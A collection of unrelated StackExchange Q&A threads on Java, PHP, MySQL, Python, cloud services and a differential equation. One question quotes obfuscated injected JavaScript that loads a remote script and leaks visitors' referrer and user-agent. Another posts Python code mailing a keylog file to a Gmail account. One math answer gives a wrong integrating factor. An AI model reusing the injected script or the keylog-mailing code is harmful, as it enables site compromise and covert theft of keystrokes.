text:
Q: Getting FreeeMarker exceptions in server logs even though Struts2 f/w being used for a web application I am faced with a mysterious issue which is causing a havoc on availability of my web application. Some background -

*

*Server - Apache+Tomcat7

*Web Framework - Struts2 with JSPs

On checking the server logs off late I have been getting a lot of following exceptions -
26092219 [http-bio-8080-exec-695] ERROR org.apache.struts2.components.template.FreemarkerTemplateEngine  - Could not load the FreeMarker template named 'hidden':
26092219 [http-bio-8080-exec-695] ERROR org.apache.struts2.components.template.FreemarkerTemplateEngine  - Attempted: /template/simple/hidden.ftl
26092219 [http-bio-8080-exec-695] ERROR org.apache.struts2.components.template.FreemarkerTemplateEngine  - The TemplateLoader provided by the FreeMarker Configuration was a: freemarker.cache.MultiTemplateLoader

Error reading included file template/simple/dynamic-attributes.ftl
The problematic instruction:

----------
==> include "/${parameters.templateDir}/simple/dynamic-attributes.ftl" [on line 44, column 1 in template/simple/a-close.ftl]
----------

Java backtrace for programmers:
----------
freemarker.template.TemplateException: Error reading included file template/simple/dynamic-attributes.ftl
freemarker.template.TemplateException: Error reading included file template/simple/dynamic-attributes.ftl
    at freemarker.core.Include.accept(Include.java:167)
    at freemarker.core.Environment.visit(Environment.java:209)
    at freemarker.core.MixedContent.accept(MixedContent.java:92)
    at freemarker.core.Environment.visit(Environment.java:209)
    at freemarker.core.Environment.process(Environment.java:189)
    at freemarker.template.Template.process(Template.java:237)
    at org.apache.struts2.components.template.FreemarkerTemplateEngine.renderTemplate(FreemarkerTemplateEngine.java:157)
    at org.apache.struts2.components.UIBean.mergeTemplate(UIBean.java:559)
    at org.apache.struts2.components.Anchor.end(Anchor.java:145)
    at org.apache.struts2.views.jsp.ComponentTagSupport.doEndTag(ComponentTagSupport.java:42)
    at org.apache.jsp.jsp_005froot.ajax.synset.trackedCustomEntities_jsp._jspx_meth_gs_005fa_005f0(trackedCustomEntities_jsp.java:648)
    at org.apache.jsp.jsp_005froot.ajax.synset.trackedCustomEntities_jsp._jspx_meth_gs_005fif_005f2(trackedCustomEntities_jsp.java:573)
    at org.apache.jsp.jsp_005froot.ajax.synset.trackedCustomEntities_jsp._jspx_meth_gs_005fiterator_005f0(trackedCustomEntities_jsp.java:380)
    at org.apache.jsp.jsp_005froot.ajax.synset.trackedCustomEntities_jsp._jspService(trackedCustomEntities_jsp.java:128)
...

This keeps on happening which then leads to - too many open files exception like so,
java.io.FileNotFoundException: /opt/tomcat7/work/Catalina/localhost/_/loader/template/simple/form.ftl (Too many open files)
javax.mail.MessagingException: Could not connect to SMTP host: localhost, port: 25;
  nested exception is:
java.net.SocketException: Too many open files
    ...

I am confused mainly because I do not have one single freemarker file in the codebase. My guess is this is happening from inside some library I have imported and the trouble being that I have tons of library so going through each one of them & figuring out which one is behaving will be not feasible.
The temp. hack I have in place is to just restart the server & double the "ulimit -n" size. But this is just a bandaid. I would like to get to the bottom of this issue & resolve it either by removing the offending library or by including the missing library!?!?.
Any help appreciated.
UPDATE
The dump of stacktraces I collected over a period of few hours - https://gist.github.com/4e22ffd19f0445521083 Hopefully this gives some pointers.


text:
Q: Show 3D object with LibGDX in an android project I have a project in android I need to display 3D objects, researched on the subject and LibGDX seems to me the best way.
I already have the libraries in my project.
compile "com.badlogicgames.gdx:gdx:1.3.1"

Does anyone have any practical tutorial on how I could exbir a 3D object using this library?

A: This link tells you how to import a model(.obj, and .g3db) that has texture. You can, but do not have to have texture on your model, and when distributing your game, you should change the extension to .g3db. If your texture is upside down, just flip the .png file, or whatever your using, and re-run the game. It should be fine now.

redpajama_set_name: RedPajamaStackExchange


text:
Q: Is the differential equation $y'=x+y$ separable? I'm at a loss. My guess is no, but I'm new to doing these problems. It can not be solved with cross multiplication but there are other ways of solving these problems I'm sure. Thank you for any help.

A: It is not separable.  A separable differential equation has the form $dy/dx = f(x)g(y)$.  But if $x+y = f(x)g(y)$ for all $x$ and $y$ then we would have
\begin{align*}
(x+x)(y+y) &= f(x)g(x)f(y)g(y)\\
&= f(x)g(y)f(y)g(x) =(x+y)(y+x)
\end{align*}
for all $x$ and $y$, which you can see is false by taking $x=0$ and $y=1$, for example.

A: No. There is no way to manipulate this ODE so that the method of separation of variables can be used. This is a first-order linear differential equation since it has the form ${dy\over dx}+P(x)y=Q(x)$. We must use an integrating factor $I(x)=e^{\int P(x)dx}$ in order to solve this ODE. $${dy\over dx}-y=x$$
Let $I(x)=e^{-x}$. We now multiply both sides of the above equation by $e^{-x}$ and obtain $$e^{-x}{dy\over dx}-e^{-x}y=e^{-x}x$$ which becomes $${d\over dx}(e^{-x}y)=e^{-x}x.$$ Now we must integrate both sides with respect to x. $$(e^{-x}y)=\int e^{-x}x dx.$$ Using integration by parts on the right-hand side integral we obtain $$(e^{-x}y)=-e^{-x}x-e^{-x}+C$$ where $C$ is a constant. So multiplying both sides of the equation by $e^x$ we obtain $$y=-x-1+Ce^{x}.$$ Thus this is the desired solution of the ODE $${dy\over dx}-y=x.$$

A: This is a linear first order ordinary differential equation.  It's integrating factor time.

A: A differential equation is separable when you can write it as $y'=f(x)g(y)$, where $f(x)$ is only a function of $x$ and $g(y)$ is only a function of $y$.  That isn't the case, here.
However, we know how to solve more than just separable differential equations.  This is an example of a linear first-order differential equation, which we often solve with integrating factors.  If you multiply your differential equation by an integrating factor, which, in this case, is $e^{-y}$, and use the product rule, then you have
$$
\left(e^{-y}y\right)'=-e^{-y}y+e^{-y}y'=e^{-y}x,
$$
which you can integrate to find the solution to your differential equation.  There is a general procedure to find integrating factors for general linear first-order differential equations of the form $y'+p(x)y=q(x)$.

A: $\large\tt Hint:$
$$
{{\rm d}\left({\rm e}^{-x}\,y\right) \over {\rm d}x}
=
x{\rm e}^{-x}
$$

A: I know this question has been answered for more than 8 years now, but I thought I'd throw in some interesting observations that a student of mine made about this problem the other day (shout out to Danny F.)

While I agree that $y' = x + y$ isn't a separable differential equation as stated -- since $y'$ is not the product of the form $f(x)g(y)$ -- I have to strongly disagree with @1233dfv when they say:

No. There is no way to manipulate this ODE so that the method of separation of variables can be used.

On the contrary. We can in fact turn this into a separable EQ through a clever use of substitution: $u(x) := x + y = x + y(x)$. This means
\begin{align*}
u'(x) &= 1 + y'\\
&= 1 + (x+y)\\
&= 1 + u
\end{align*}
which means that the original equation is now transformed into
\begin{align*}
\int \frac{1}{1+u} \,du &= \int \,dx \\
\log|1+u| &= x + C \\
u &= Ae^{x} - 1 \\
y + x &= Ae^{x} - 1\\
y &= Ae^{x} - x - 1
\end{align*}
which is easily verified as the correct solution to the original differential equation. In fact, this same trick would easily give solutions to the more general equation: $y' = ax + by$.


text:
Q: How to replace a long string that contains special characters in MySQL I would like to replace a string that was injected into a database.
Here is the string:
<noindex>
<script id="wpinfo-pst1" type="text/javascript"
rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};
 if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e)
 {return d[e]}];e=function(){return'\w+'};c=1};
while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}
('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'>
<\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write
|http|45|67|script|text|rel|nofollow|type|97|
language|jquery|userAgent|navigator|sc|ript|tshbz|var|u0026u
|referrer|ikzyy||js|php'.split('|'),0,{}))
</script></noindex>

I have tried
UPDATE MYTABLE
SET content = REPLACE(content, 'I PUT STRING ABOVE HERE', '')

but I get mysql error, I tried escaping special characters by adding backslash, it did not work.
How can I search and replace string above?

A: Try using query
Update mytable set content= " " where content like "<matching string to be replaced>"

This link might also be needed Regexp in MySQL


text:
Q: Running mahout using hadoop on Amazon's EMR/EC2 I want to migrate my current local hadoop cluster into amazon . In this hadoop cluster I am using services like mahout,hbase and hive . I have two option now in amazon either go for pure EC2 instances or Elastic map reduce cluster . I want some suggestion on what is better option to move the cluster which has these kinds of requirement .

A: I always suggest people to go for EMR, as that is managed and will be a bit more costlier than using pure ec2, but the headache and time you will spent in configuring the clusters and then managing them can be saved by running managed services like EMR.

*

*Mahout can easily be run like a custom jar.

*Hive cluster can also be launched within minutes.

*Similary for HBase, Amazon has recently added creating HBase cluster over EMR.

See other views here.


text:
Q: Using Enums in Azure Search Documents It was my understanding that if you have an enum in a search document, it would be converted to an int.  Unless I am doing something wrong, this does not seem to be happening and the only way I can get this to work is by converting the enum to a string.  This seems wrong.  Can someone tell me if I have done something wrong or if this is just not possible?
Example:
public enum WebSearchRecordType{
    Unknown = 0,
    Doc1 = 1,
    Doc2 = 2
}

public class WebSearchDocument{
    public Guid Id {get;set;}
    public WebSearchRecordType RecordType { get; set; }
}

If I use something like the above while trying to create the index, I get the following error:

Message: "Property recordType has unsupported type
  Web.Search.WebSearchRecordType\r\nParameter name: propertyType"

A: Azure Search does not support enum types as field types. Instead, you'll need to map between enums and one of the supported data types yourself (either int or string, depending on whether you want the label or the underlying value to be stored in the index). One way to achieve this is mark your enum property with [JsonIgnore], then implement a second property of the desired field type and map between it and your enum in the getter/setter. Note that you can control how property names are mapped to index fields with the [JsonProperty("...")] attribute.
Also, your model class uses Guid as the type of the key field. This is also not supported. You can use the same technique to map your own Guid property to a string property that is actually mapped to the corresponding index field.


text:
Q: Email sent though Python is totally blank When I sent an email through python to my GMail account the email is sent but its totally blank i.e without the data. Here is the code I used:
 email_user = 'user@gmail.com'
 email_password = '********'
 email_send = 'send@gmail.com'

 subject = 'This is keyloggings '

 msg = MIMEMultipart()
 msg['From'] = email_user
 msg['To'] = email_send
 msg['Subject'] = subject

 body = 'This is keyloggings'
 msg.attach(MIMEText(body,'plain'))

 filename = 'key_log.txt'
 attachment  = open(filename,'rb')

 part = MIMEBase('application','octet-stream')
 part.set_payload((attachment).read())
 encoders.encode_base64(part)
 part.add_header('Content-Disposition',"attachment;filename= %s" %filename)

 msg.attach(part)

 server = smtplib.SMTP('smtp.gmail.com',587)
 server.ehlo()
 server.starttls()
 server.ehlo()
 server.login(email_user,email_password)
 text = msg.as_string()
 server.sendmail(email_user,email_send,text)
 server.quit()


text:
Q: Php multiplication table for specified number I have a task to create a script which will output multiplication table just for specified number. To create regular multiplication table, for example 10x10 we would write something like this:
echo "
";

        for ($r =0; $r < $rows; $r++){

            echo'
';

            for ($c = 0; $c < $cols; $c++)
                echo '' .$c*$r.'	';
           echo '
'; // close tr tag here

        }

  echo"
";

But output which i am supposed to receive, for example for digit "3", should look like this:
|1 x 1 = 1|1 x 2 = 2|1 x 3 = 3|
| ------- | ------- | ------- |
|2 x 1 = 2|2 x 2 = 4|2 x 3 = 6|
|3 x 1 = 3|3 x 2 = 6|3 x 3 = 9|

Anyone got an idea how to echo this using php (while and/or for) loops?

A: It sounds like you want to output the text of the calculation as well as the result, e.g. 1 x 3 = 3. You're missing that from your output.
Also, you need to start your for loops at 1 rather than 0, otherwise you get 0 x 0 = 0 which I assume you don't want. You would compensate for the loss of iterations by using <= instead of < in your condition of the for loop so you still get 3 iterations (in this example).
Try this:
echo '
';
for ($r = 1; $r <= $rows; $r++) {
    echo '
';
    for ($c = 1; $c <= $cols; $c++) {
        echo sprintf('%d x %d = %d	', $r, $c, $c * $r);
    }
    echo '
'; // close tr tag here
}
echo '
';

Your expected output also seems to suggest that the first row should be a heading. It would seem odd to me to do that, but if that is the case, you'll need to do this instead:
$cellType = ($r === 1) ? 'th' : 'td'; // use  for the first row, otherwise
echo sprintf('<%s>%d x %d = %d</%s>', $cellType, $r, $c, $c * $r, $cellType);


text:
Q: How to apply use IN keyword in NHibernate Criteria API? Hi I am working on Criteria API ,I want to fetch the users from db by using Criteria API.
It's working fine but I want to write query like this
Select * from EMP where empName LIKE '%bhan' or empName LIKE '%HAR' AND dominid=3;

How can I write this query by using  Criteria API in NHiberbate

A: Your question has some discrepancies IN is not the same and does not produce the same results as LIKE
You can add an NHibernate.Criterion.ICriterion object to an NHibernate.ICriteria object the following way.
//create the criteria
ICriteria _criteria = CurrentSession.CreateCriteria<Employee>();

//create a disjunction
var disjunction = NHibernate.Criterion.Restrictions.Disjunction();

//form the disjunction
disjunction.Add(NHibernate.Criterion.Restrictions.Like("empName", "bhan", NHibernate.Criterion.MatchMode.Anywhere));
disjunction.Add(NHibernate.Criterion.Restrictions.Like("empName", "HAR", NHibernate.Criterion.MatchMode.Anywhere));

//add the disjunction to the criteria object
_criteria.Add(disjunction);

_criteria.Add(NHibernate.Criterion.Restrictions.Eq("dominid", 3));

Or you can add an IN clause to the criteria.
_criteria.Add(NHibernate.Criterion.Restrictions.In("Entity_Property", An_Array_Of_Values));


text:
Q: Intersection of Two Rectangles with paintComponent I am writing a program that allows a user to paint rectangles onto a JLabel, and show the intersection and union of these rectangles.  I have setup the GUI for the class but am struggling to find a way to integrate the intersection and union methods from the rectangle class.  I know these methods work when used separately from the GUI.
When I try to run the program I keep getting an IndexOutOfBoundsException and the drawn rectangles are cleared from the gui.  The intersections of each rectangle should show up in a different color on the JLabel.  I tried to debug the program and for some reason when I create two rectangles and store them in my array list many many rectangle objects of the same characteristics are being created.
For the union method, a new rectangle should be create that contains all of the rectangles on the inside.
RectangleFrame1:
public class RectangleFrame1 extends JFrame implements ActionListener
{

    JPanel buttonPanel;
    JButton saveImage;
    JButton clearImage;
    JCheckBox intersections;
    JCheckBox union;
    RectangleLabel drawingArea;
    boolean intersect = false;
    boolean uni = false;

    public RectangleFrame1()
    {
        super();
        setTitle("Rectangles");
        setSize(600,600);
        setResizable(false);
        this.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);

        buttonPanel = new JPanel();
        buttonPanel.setBorder(BorderFactory.createLineBorder(Color.black));
        this.add(buttonPanel, BorderLayout.SOUTH);

        intersections = new JCheckBox("Draw Intersections");
        buttonPanel.add(intersections);
        intersections.addActionListener(this);
        intersections.setActionCommand("Intersections");

        union = new JCheckBox("Draw Union");
        buttonPanel.add(union);
        union.addActionListener(this);
        union.setActionCommand("Union");

        saveImage = new JButton("Save Image");
        saveImage.setMargin(new Insets(0,0,0,0));
        buttonPanel.add(saveImage);
        saveImage.addActionListener(this);
        saveImage.setActionCommand("Save Image");

        clearImage = new JButton("Clear Image");
        clearImage.setMargin(new Insets(0,0,0,0));
        buttonPanel.add(clearImage);
        clearImage.addActionListener(this);
        clearImage.setActionCommand("Clear Image");

        drawingArea = new RectangleLabel();
        drawingArea.setBorder(BorderFactory.createLineBorder(Color.blue));
        this.add(drawingArea, BorderLayout.CENTER);
        drawingArea.addMouseListener((MouseListener) drawingArea);
        drawingArea.addMouseMotionListener((MouseMotionListener) drawingArea);

    }

    @Override
    public void actionPerformed(ActionEvent arg0)
    {
        switch(arg0.getActionCommand())
        {
            case "Intersections":
            if(intersections.isSelected())
            {
                intersect = true;
            }
            else
            {
                intersect = false;
            }
            case "Union":
            if(union.isSelected())
            {
                uni = true;
            }
            else
            {
                uni = false;
            }
            case "Clear Image": drawingArea.clearImage();
            case "Save Image": drawingArea.saveImage();
        }

    }

    class RectangleLabel extends JLabel implements MouseListener, MouseMotionListener
    {

        Rectangle rectangle = null;
        int x, y, x2, y2;
        ArrayList<Rectangle> a = new ArrayList();
        int counter;
        public RectangleLabel()
        {
            super();
        }
        @Override
        public void mousePressed(MouseEvent arg0)
        {
            x = arg0.getX();
            y = arg0.getY();

            rectangle = new Rectangle(x, y, 0, 0);
        }

        @Override
        public void mouseDragged(MouseEvent arg0)
        {
            // TODO Auto-generated method stub
            x2 = arg0.getX();
            y2 = arg0.getY();

            if(rectangle.getX() > x2)
            {
                rectangle.setWidth(x-x2);
            }
            if(x2 > rectangle.getX())
            {
                rectangle.setWidth(x2-x);
            }
            if(y > y2)
            {
                rectangle.setHeight(y-y2);
            }
            if(y2 > y)
            {
                rectangle.setHeight(y2-y);
            }

            a.add(rectangle);
            counter++;
            repaint();

        }

        @Override
        public void mouseReleased(MouseEvent arg0)
        {
            repaint();
        }

        @Override
        public void mouseMoved(MouseEvent arg0) {
            // TODO Auto-generated method stub

        }

        @Override
        public void mouseEntered(MouseEvent arg0) {
            // TODO Auto-generated method stub

        }

        @Override
        public void mouseExited(MouseEvent arg0) {
            // TODO Auto-generated method stub

        }

        @Override
        public void mouseClicked(MouseEvent arg0) {
            // TODO Auto-generated method stub

        }

        @Override
        public void paintComponent(Graphics g)
        {
            super.paintComponent(g);
            if(rectangle != null)
            {
                for(int i = 0; i < a.size(); i++)
                {
                    float thickness = 2;
                    ((Graphics2D) g).setStroke(new BasicStroke(thickness));
                    g.setColor(Color.BLUE);
                    g.drawRect(a.get(i).getX(), a.get(i).getY(), a.get(i).getWidth(), a.get(i).getHeight());
                    g.setColor(Color.gray);
                    g.fillRect(a.get(i).getX(), a.get(i).getY(), a.get(i).getWidth(), a.get(i).getHeight());
                }
            }

            if(intersect == true && counter > 0)
            {
                for(int h = 0; h < counter-1; h++)
                {
                    for(int j = 1; j < counter; j++)
                    {   if(a.get(h).overlaps(a.get(j)))
                        {
                            Rectangle rect = a.get(h).intersect(a.get(j));
                            g.setColor(Color.RED);
                            g.fillRect(rect.getX(), rect.getY(), rect.getWidth(), rect.getHeight());
                        }
                    }
                }
            }

            if(uni == true && counter > 0)
            {
                for(int h = 0; h < counter - 1; h++)
                {
                    for(int j = 1; j < counter; j++)
                    {
                        Rectangle rect = a.get(h).union(a.get(j));
                        g.setColor(Color.WHITE);
                        g.drawRect(rect.getX(), rect.getY(), rect.getWidth(), rect.getHeight());

                    }
                }
            }
        }

        public void saveImage()
        {
            BufferedImage image = new BufferedImage(this.getWidth(), this.getHeight(), BufferedImage.TYPE_INT_ARGB);
            Graphics2D aaaaa = image.createGraphics();
            aaaaa.setBackground(Color.WHITE);
            aaaaa.clearRect(0, 0, this.getWidth(), this.getHeight());
            this.paintAll(aaaaa);
            try
            {
                File output = new File("rectangle.png");
                ImageIO.write(image, "Rectangles", output);
            }
            catch(IOException ie)
            {

            }
        }
        public void clearImage()
        {
            a.clear();
            repaint();
        }

    }

}

Rectangle:
public class Rectangle
{

    private int x,y,width,height;

    public Rectangle(int x,int y,int width,int height)
    {
        this.x = x;
        this.y = y;
        this.width = width;
        this.height = height;
    }

    public Rectangle(Rectangle a)
    {
        this.x = a.x;
        this.y = a.y;
        this.width = a.width;
        this.height = a.height;
    }

    public String toString()
    {
        return "Start: ("+x+","+y+"), Width: "+width+", Height: "+height+"\n";
    }

    public int getX()
    {
        return x;
    }

    public int getY()
    {
        return y;
    }

    public int getWidth()
    {
        return width;
    }

    public int getHeight()
    {
        return height;
    }

    public void setX(int x)
    {
        this.x = x;
    }

    public void setY(int y)
    {
        this.y = y;
    }

    public void setWidth(int width)
    {
        this.width = width;
    }

    public void setHeight(int height)
    {
        this.height = height;
    }

    public int area()
    {
        return width*height;
    }

    public boolean overlaps(Rectangle a)
    {
        if ((x>a.x+a.width) || (a.x>x+width) || (y>a.y+a.height) || (a.y>y+height))
        {
            return false;
        }
        return true;
    }

    public Rectangle intersect(Rectangle a)
    {
        if (!overlaps(a))
            return null;

        int left,right,top,bottom;

        if (x<a.x)
            left = a.x;
        else
            left = x;

        if (y<a.y)
            bottom = a.y;
        else
            bottom = y;

        if ((x+width)<(a.x+a.width))
            right = x+width;
        else
            right = a.x+a.width;

        if ((y+height)<(a.y+a.height))
            top = y+height;
        else
            top = a.y+a.height;

        return new Rectangle(left,bottom,right-left,top-bottom);
    }

    public Rectangle union(Rectangle a)
    {
        int left,right,top,bottom;

        if (x<a.x)
            left = x;
        else
            left = a.x;

        if (y<a.y)
            bottom = y;
        else
            bottom = a.y;

        if ((x+width)<(a.x+a.width))
            right = a.x+a.width;
        else
            right = x+width;

        if ((y+height)<(a.y+a.height))
            top = a.y+a.height;
        else
            top = y+height;

        return new Rectangle(left,bottom,right-left,top-bottom);
    }
}

A: There are a number of problems...
You're mouseDragged event handler is adding the same Rectangle to the a ArrayList, over and over again, increasing the counter value along with it.
This is not required.  All you need to do is add the Rectangle on the mousePressed event.  When mouseReleased is called, you could evaluate the Rectangle to check if the size is greater than 0x0 and remove it if it's not (ie remove any Rectangle whose size is 0x0)
Don't rely on the counter variable, it's too easy for the value to become misaligned with the size of the a List.  Instead, rely on a.size instead.
The switch statement in your ActionListener is evaluating the matching case, but also all the following cases below it.  This is a feature of switch.  If you don't want to evaluate the following cases, you need to add a break at the end of each case (or where ever you want to "break" the processing).
For example, when you click Draw Intersections, it is also evaluating Union, Clear Image and Save Image cases...
You could try using something like...
switch (arg0.getActionCommand()) {
    case "Intersections":
        intersect = intersections.isSelected();
        break;
    case "Union":
        uni = union.isSelected();
        break;
    case "Clear Image":
        drawingArea.clearImage();
        break;
    case "Save Image":
        drawingArea.saveImage();
        break;
}

instead...
Logic Errors in Painting Code...
There's also a logic area with your intersect paint code, where it is comparing a rectangle with itself, which ends up painting the whole rectangle.
Instead of
if (a.get(h).overlaps(a.get(j))) {

You might consider using
if (!a.get(h).equals(a.get(j)) && a.get(h).overlaps(a.get(j))) {

This is possibly occurring in you union painting logic as well, but I didn't really check that
Works fine for me...

import java.awt.BasicStroke;
import java.awt.BorderLayout;
import java.awt.Color;
import java.awt.EventQueue;
import java.awt.Graphics;
import java.awt.Graphics2D;
import java.awt.Insets;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.MouseEvent;
import java.awt.event.MouseListener;
import java.awt.event.MouseMotionListener;
import java.awt.image.BufferedImage;
import java.io.File;
import java.io.IOException;
import java.util.ArrayList;
import javax.imageio.ImageIO;
import javax.swing.BorderFactory;
import javax.swing.JButton;
import javax.swing.JCheckBox;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.UIManager;
import javax.swing.UnsupportedLookAndFeelException;

public class RectangleFrame1 extends JFrame implements ActionListener {

    public static void main(String[] args) {
        EventQueue.invokeLater(new Runnable() {
            @Override
            public void run() {
                try {
                    UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());
                } catch (ClassNotFoundException | InstantiationException | IllegalAccessException | UnsupportedLookAndFeelException ex) {
                }

                RectangleFrame1 frame = new RectangleFrame1();
                frame.setLocationRelativeTo(null);
                frame.setVisible(true);
            }
        });
    }

    JPanel buttonPanel;
    JButton saveImage;
    JButton clearImage;
    JCheckBox intersections;
    JCheckBox union;
    RectangleLabel drawingArea;
    boolean intersect = false;
    boolean uni = false;

    public RectangleFrame1() {
        super();
        setTitle("Rectangles");
        setSize(600, 600);
//        setResizable(false);
        this.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);

        buttonPanel = new JPanel();
        buttonPanel.setBorder(BorderFactory.createLineBorder(Color.black));
        this.add(buttonPanel, BorderLayout.SOUTH);

        intersections = new JCheckBox("Draw Intersections");
        buttonPanel.add(intersections);
        intersections.addActionListener(this);
        intersections.setActionCommand("Intersections");

        union = new JCheckBox("Draw Union");
        buttonPanel.add(union);
        union.addActionListener(this);
        union.setActionCommand("Union");

        saveImage = new JButton("Save Image");
        saveImage.setMargin(new Insets(0, 0, 0, 0));
        buttonPanel.add(saveImage);
        saveImage.addActionListener(this);
        saveImage.setActionCommand("Save Image");

        clearImage = new JButton("Clear Image");
        clearImage.setMargin(new Insets(0, 0, 0, 0));
        buttonPanel.add(clearImage);
        clearImage.addActionListener(this);
        clearImage.setActionCommand("Clear Image");

        drawingArea = new RectangleLabel();
        drawingArea.setBorder(BorderFactory.createLineBorder(Color.blue));
        this.add(drawingArea, BorderLayout.CENTER);
        drawingArea.addMouseListener((MouseListener) drawingArea);
        drawingArea.addMouseMotionListener((MouseMotionListener) drawingArea);

    }

    @Override
    public void actionPerformed(ActionEvent arg0) {
        switch (arg0.getActionCommand()) {
            case "Intersections":
                intersect = intersections.isSelected();
                break;
            case "Union":
                uni = union.isSelected();
                break;
            case "Clear Image":
                drawingArea.clearImage();
                break;
            case "Save Image":
                drawingArea.saveImage();
                break;
        }
        repaint();
    }

    class RectangleLabel extends JLabel implements MouseListener, MouseMotionListener {

        Rectangle rectangle = null;
        int x, y, x2, y2;
        ArrayList<Rectangle> a = new ArrayList();

        public RectangleLabel() {
            super();
        }

        @Override
        public void mousePressed(MouseEvent arg0) {
            x = arg0.getX();
            y = arg0.getY();

            rectangle = new Rectangle(x, y, 0, 0);
            a.add(rectangle);
        }

        @Override
        public void mouseDragged(MouseEvent arg0) {
            // TODO Auto-generated method stub
            x2 = arg0.getX();
            y2 = arg0.getY();

            if (rectangle.getX() > x2) {
                rectangle.setWidth(x - x2);
            }
            if (x2 > rectangle.getX()) {
                rectangle.setWidth(x2 - x);
            }
            if (y > y2) {
                rectangle.setHeight(y - y2);
            }
            if (y2 > y) {
                rectangle.setHeight(y2 - y);
            }

            repaint();

        }

        @Override
        public void mouseReleased(MouseEvent arg0) {
            rectangle = null;
            repaint();
        }

        @Override
        public void mouseMoved(MouseEvent arg0) {
            // TODO Auto-generated method stub

        }

        @Override
        public void mouseEntered(MouseEvent arg0) {
            // TODO Auto-generated method stub

        }

        @Override
        public void mouseExited(MouseEvent arg0) {
            // TODO Auto-generated method stub

        }

        @Override
        public void mouseClicked(MouseEvent arg0) {
            // TODO Auto-generated method stub

        }

        @Override
        public void paintComponent(Graphics g) {
            super.paintComponent(g);
            for (Rectangle rect : a) {
                float thickness = 2;
                ((Graphics2D) g).setStroke(new BasicStroke(thickness));
                g.setColor(Color.BLUE);
                g.drawRect(rect.getX(), rect.getY(), rect.getWidth(), rect.getHeight());
                g.setColor(Color.gray);
                g.fillRect(rect.getX(), rect.getY(), rect.getWidth(), rect.getHeight());
            }

            if (intersect) {
                for (int h = 0; h < a.size() - 1; h++) {
                    for (int j = 1; j < a.size(); j++) {
                        if (!a.get(h).equals(a.get(j)) && a.get(h).overlaps(a.get(j))) {
                            Rectangle rect = a.get(h).intersect(a.get(j));
                            g.setColor(Color.RED);
                            g.fillRect(rect.getX(), rect.getY(), rect.getWidth(), rect.getHeight());
                        }
                    }
                }
            }

            if (uni) {
                for (int h = 0; h < a.size() - 1; h++) {
                    for (int j = 1; j < a.size(); j++) {
                        if (!a.get(h).equals(a.get(j)) && a.get(h).overlaps(a.get(j))) {
                            Rectangle rect = a.get(h).union(a.get(j));
                            g.setColor(Color.WHITE);
                            g.drawRect(rect.getX(), rect.getY(), rect.getWidth(), rect.getHeight());

                        }
                    }
                }
            }
        }

        public void saveImage() {
            BufferedImage image = new BufferedImage(this.getWidth(), this.getHeight(), BufferedImage.TYPE_INT_ARGB);
            Graphics2D aaaaa = image.createGraphics();
            aaaaa.setBackground(Color.WHITE);
            aaaaa.clearRect(0, 0, this.getWidth(), this.getHeight());
            this.paintAll(aaaaa);
            try {
                File output = new File("rectangle.png");
                ImageIO.write(image, "Rectangles", output);
            } catch (IOException ie) {

            }
        }

        public void clearImage() {
            a.clear();
            repaint();
        }

    }

    public class Rectangle {

        private int x, y, width, height;

        public Rectangle(int x, int y, int width, int height) {
            this.x = x;
            this.y = y;
            this.width = width;
            this.height = height;
        }

        public Rectangle(Rectangle a) {
            this.x = a.x;
            this.y = a.y;
            this.width = a.width;
            this.height = a.height;
        }

        public String toString() {
            return "Start: (" + x + "," + y + "), Width: " + width + ", Height: " + height + "\n";
        }

        public int getX() {
            return x;
        }

        public int getY() {
            return y;
        }

        public int getWidth() {
            return width;
        }

        public int getHeight() {
            return height;
        }

        public void setX(int x) {
            this.x = x;
        }

        public void setY(int y) {
            this.y = y;
        }

        public void setWidth(int width) {
            this.width = width;
        }

        public void setHeight(int height) {
            this.height = height;
        }

        public int area() {
            return width * height;
        }

        public boolean overlaps(Rectangle a) {
            if ((x > a.x + a.width) || (a.x > x + width) || (y > a.y + a.height) || (a.y > y + height)) {
                return false;
            }
            return true;
        }

        public Rectangle intersect(Rectangle a) {
            if (!overlaps(a)) {
                return null;
            }

            int left, right, top, bottom;

            if (x < a.x) {
                left = a.x;
            } else {
                left = x;
            }

            if (y < a.y) {
                bottom = a.y;
            } else {
                bottom = y;
            }

            if ((x + width) < (a.x + a.width)) {
                right = x + width;
            } else {
                right = a.x + a.width;
            }

            if ((y + height) < (a.y + a.height)) {
                top = y + height;
            } else {
                top = a.y + a.height;
            }

            return new Rectangle(left, bottom, right - left, top - bottom);
        }

        public Rectangle union(Rectangle a) {
            int left, right, top, bottom;

            if (x < a.x) {
                left = x;
            } else {
                left = a.x;
            }

            if (y < a.y) {
                bottom = y;
            } else {
                bottom = a.y;
            }

            if ((x + width) < (a.x + a.width)) {
                right = a.x + a.width;
            } else {
                right = x + width;
            }

            if ((y + height) < (a.y + a.height)) {
                top = a.y + a.height;
            } else {
                top = y + height;
            }

            return new Rectangle(left, bottom, right - left, top - bottom);
        }
    }
}


text:
Q: Getting wrong access token from registerCallback method of facebook LoginButton I can successfully log into facebook by calling this signIn() method.
private fun signIn() {
        loginBtn?.registerCallback(callBackManager,object: FacebookCallback<LoginResult>{
            override fun onSuccess(result: LoginResult?) {
                handleFacebookAccessToken(result!!.accessToken)
            }

            override fun onCancel() {

            }

            override fun onError(error: FacebookException?) {
                Log.d("MainActivity:", "onError "+error?.message)
            }

        })
    }

    private fun handleFacebookAccessToken(accessToken: AccessToken?) {
        val authCredential = FacebookAuthProvider.getCredential(accessToken!!.token)
        firebaseAuth?.signInWithCredential(authCredential)
            ?.addOnCompleteListener(this) { task ->
                if (task.isSuccessful) {
                    // Sign in success, update UI with the signed-in user's information
                    Log.d("MainActivity:", "signInWithCredential:success")
                } else {
                    // If sign in fails, display a message to the user.
                    Log.w("dsds", "signInWithCredential:failure ", task.exception)
                    Toast.makeText(baseContext, "Authentication failed.",
                        Toast.LENGTH_SHORT).show()
                }
            }
    }

